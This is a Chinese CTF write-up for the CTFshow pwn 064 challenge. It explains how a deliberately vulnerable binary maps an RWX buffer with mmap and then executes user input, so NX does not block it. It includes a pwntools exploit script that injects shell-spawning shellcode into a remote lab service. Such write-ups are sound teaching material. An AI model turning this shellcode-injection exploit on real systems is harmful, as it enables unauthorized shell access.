【CTFshow-pwn系列】03_栈溢出【pwn 064】详解:绕过 NX 防御假象的 RWX 特赦区利用
本文仅用于技术研究禁止用于非法用途。Author: 枷锁在二进制安全的博弈中我们习惯于建立一种“线性思维”看到NX (No-Execute)开启就判定栈上注入 Shellcode 的路径已死转而寻求 ROP 或 Ret2Libc。然而pwn 064通过一段精巧的工程实践向我们展示了宏观的防御策略往往会被微观的代码逻辑所“特赦”。本题的提示非常直白“有时候开启某种保护并不代表这条路不通”。这短短一句话直接点破了本题的核心考点局部 RWX 内存页的特权绕过。今天我们将解开关于mmap权限标志位的底层谜题。第一部分环境侦察与防御边界建模1. 检查保护机制 (checksec)首先通过标准审计工具对二进制文件的“装甲”进行评估~/Desktop .............................................................. at 22:10:00 checksec pwn [*] /home/shining/Desktop/pwn Arch: i386-32-little -- 32 位经典架构 RELRO: Partial RELRO Stack: No canary found NX: NX enabled -- 【关键假象】全局执行保护已开启 PIE: No PIE (0x8048000) -- 固定基址映射 Stripped: No -- 符号表完整便于逆向分析2. 安全防御悖论从checksec的结果来看程序开启了 NX。在常规认知中这意味着read读入的数据即便驻留在内存中CPU 也会因为页表的执行权限位NX bit被置位而拒绝取指。核心矛盾既然 NX 开启了为什么题目暗示 Shellcode 依然可行答案NX 保护通常只覆盖默认的堆栈和数据段而程序可以通过系统调用动态申请具有“豁免权”的内存页。第二部分深度代码审计RWX 权限的“合法移民”1. 静态分析 (IDA Pro)进入main函数代码逻辑展现出一种极具“引导性”的后门设计int __cdecl main(int argc, const char **argv, const char **envp) { void *buf; // [esp8h] [ebp-10h] // --- 【核心逻辑 1动态特权空间申请】 --- // 程序调用 mmap 在内存中开辟了一块 1024 字节的空间 buf mmap(0, 0x400u, 7, 34, 0, 0); // --- 【陷阱定时炸弹】 --- alarm(0xAu); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); puts(Some different!); // --- 【核心逻辑 2数据驻留】 --- // 将用户输入直接读取到刚才申请的 buf 中 if ( read(0, buf, 0x400u) 0 ) { puts(Illegal entry!); exit(1); } // --- 【核心逻辑 3流劫持的官方通道】 --- // 将 buf 地址强制转换为函数指针并立即执行 ((void (*)(void))buf)(); return 0; }2. mmap 参数解构为什么 7 代表“万能钥匙”在 Linux 系统调用mmap中第三个参数protProtection是决定利用成功的关键参数解析prot 7底层原理7 (PROT_READ | PROT_WRITE | PROT_EXEC)1 (Read)|2 (Write)|4 (Execute)7参数 4 (flags) 34即MAP_PRIVATE | MAP_ANONYMOUS表示一块私有的匿名映射区。结论这块由mmap申请的内存页被显式赋予了RWX全权限。无论全局 NX 保护如何严密这块内存页在 CPU 眼中都是合法的指令执行区。第三部分内存布局可视化为了更清晰地理解利用过程我们将mmap申请的空间进行逻辑拆解内存地址空间可视化 (RWX Segment) --------------------------------------- --- buf (mmap 起始地址) | | | 注入的 Shellcode (机器码) | | (如: \x31\xc0\x50\x68\x2f\x2f\x73...) | | | --------------------------------------- | | | 剩余缓冲区 (0x400 - len) | | | --------------------------------------- | ((void (*)(void))buf)() | --- 程序在此处将 EIP 强制指向 buf 顶部 ---------------------------------------第四部分实战 EXP 编写与详解本题不需要复杂的溢出计算只需要直接注入并等待程序引导执行。from pwn import * # 1. 基础配置 # 明确目标架构确保 shellcraft 生成的是 32 位 i386 机器码 context(arch i386, os linux, log_level debug) # 2. 动态环境链接 if args[REMOTE]: io remote(pwn.challenge.ctf.show, 28202) # 实际打靶请同步更新端口 else: io process(./pwn) # 3. 生成载荷 (Payload Generation) # 由于有 1024 字节的巨大空间直接使用 pwntools 的标准 Shellcode shellcode asm(shellcraft.sh()) # 4. 执行攻击流 # 程序启动后会直接进入 read 等待输入 log.info([*] 程序逻辑已引导至受控 RWX 空间注入 Shellcode...) io.sendline(shellcode) # 5. 劫持反馈 (Interactive Shell) log.success([] Shellcode 注入完成劫持流已触发) io.interactive()第五部分深度剖析Exit code -14 (SIGALRM) 之谜在实战中你可能会遇到拿到 Shell 后立即断开的情况并报错-14 (SIGALRM)。1. 错误成因程序开头有一行alarm(0xAu);。这是内核级别的定时器触发机制程序启动 10 秒后内核发送SIGALRM信号。默认行为终止进程。状态码14对应SIGALRM。负数表示因信号异常退出。2. 绕过技巧极速打靶在 10 秒内执行cat /ctf*。脚本优化在interactive()前追加io.sendline(bcat /ctf*)自动读取。第六部分技术总结pwn 064揭示了安全防御的相对性。checksec看到的是“气候”而代码审计看到的是“局部天气”。核心 Takeawaymmap 权限深刻理解PROT_EXEC (7)如何打破全局 NX 限制。逻辑劫持当程序主动调用用户控制的地址时溢出已不再是必要条件。信号机制警惕alarm()闹钟带来的时限陷阱。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。